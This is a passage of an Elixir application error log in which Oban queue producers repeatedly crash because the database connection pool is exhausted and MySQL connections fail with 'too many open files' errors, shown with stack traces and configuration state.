nil, updated_at: ~U[2026-09-05 23:55:51.239865Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "default"}}}}, dispatch_timer: #Reference<0.2525715032.1068498948.39294>, refresh_timer: #Reference<0.2525715032.1068498948.39279>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:56:03.237000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "mailers"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 821ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "mailers"}}}}, meta: %{name: Oban, node: "demo", queue: "mailers", started_at: ~U[2026-09-05 23:55:51.240167Z], limit: 20, uuid: "c437ff42-dd67-4350-b76f-5a14b8ef192d", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:55:51.240174Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "mailers"}}}}, dispatch_timer: #Reference<0.2525715032.1068498948.39293>, refresh_timer: #Reference<0.2525715032.1068498948.39285>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:56:03.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "high"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1049ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "high"}}}}, meta: %{name: Oban, node: "demo", queue: "high", started_at: ~U[2026-09-05 23:55:51.239076Z], limit: 50, uuid: "2b64a9b7-516c-4ded-98e3-1d8b6800eea3", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:55:51.239082Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "high"}}}}, dispatch_timer: #Reference<0.2525715032.1068498948.39296>, refresh_timer: #Reference<0.2525715032.1068498948.39253>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:56:03.235000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "low"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1070ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "low"}}}}, meta: %{name: Oban, node: "demo", queue: "low", started_at: ~U[2026-09-05 23:55:51.239222Z], limit: 5, uuid: "b374ee9b-5ad2-412f-a991-fcc9a1e46653", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:55:51.239227Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "low"}}}}, dispatch_timer: #Reference<0.2525715032.1068498948.39295>, refresh_timer: #Reference<0.2525715032.1068498948.39261>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:56:03.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "webhooks"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1007ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "webhooks"}}}}, meta: %{name: Oban, node: "demo", queue: "webhooks", started_at: ~U[2026-09-05 23:55:51.238971Z], limit: 5, uuid: "aa31d785-0458-40ba-80ca-a50bfb98e98b", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:55:51.238978Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "webhooks"}}}}, dispatch_timer: #Reference<0.2525715032.1068498948.39298>, refresh_timer: #Reference<0.2525715032.1099431938.37147>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:56:03.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "reports"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 833ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "reports"}}}}, meta: %{name: Oban, node: "demo", queue: "reports", started_at: ~U[2026-09-05 23:55:51.239960Z], limit: 3, uuid: "b33f3f63-5413-4e4d-a72d-d50710a971d9", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:55:51.239965Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "reports"}}}}, dispatch_timer: #Reference<0.2525715032.1068498948.39297>, refresh_timer: #Reference<0.2525715032.1068498948.39283>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:56:06.590000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.584.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:56:07.053000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.591.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:56:08.252000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.590.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:56:08.936000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.593.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:56:09.791000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.589.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:56:10.549000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.585.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:56:12.886000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.588.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:56:15.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "low"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 844ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "low"}}}}, meta: %{name: Oban, node: "demo", queue: "low", started_at: ~U[2026-09-05 23:56:03.239996Z], limit: 5, uuid: "696ab50c-8c70-4ac0-843e-acff84f46e9a", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:56:03.240001Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "low"}}}}, dispatch_timer: #Reference<0.2525715032.1121189889.145689>, refresh_timer: #Reference<0.2525715032.1068498948.39503>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:56:15.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "webhooks"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1009ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "webhooks"}}}}, meta: %{name: Oban, node: "demo", queue: "webhooks", started_at: ~U[2026-09-05 23:56:03.240228Z], limit: 5, uuid: "17205f7e-674e-4d5e-b910-3606882dbd5c", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:56:03.240233Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "webhooks"}}}}, dispatch_timer: #Reference<0.2525715032.1068498948.39520>, refresh_timer: #Reference<0.2525715032.1068498948.39513>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:56:15.235000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "reports"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1075ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "reports"}}}}, meta: %{name: Oban, node: "demo", queue: "reports", started_at: ~U[2026-09-05 23:56:03.241519Z], limit: 3, uuid: "77f22741-4fc7-4533-9252-ddd3cf8b803b", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:56:03.241524Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "reports"}}}}, dispatch_timer: #Reference<0.2525715032.1121189889.145690>, refresh_timer: #Reference<0.2525715032.1068498948.39519>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:56:15.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "mailers"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 815ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
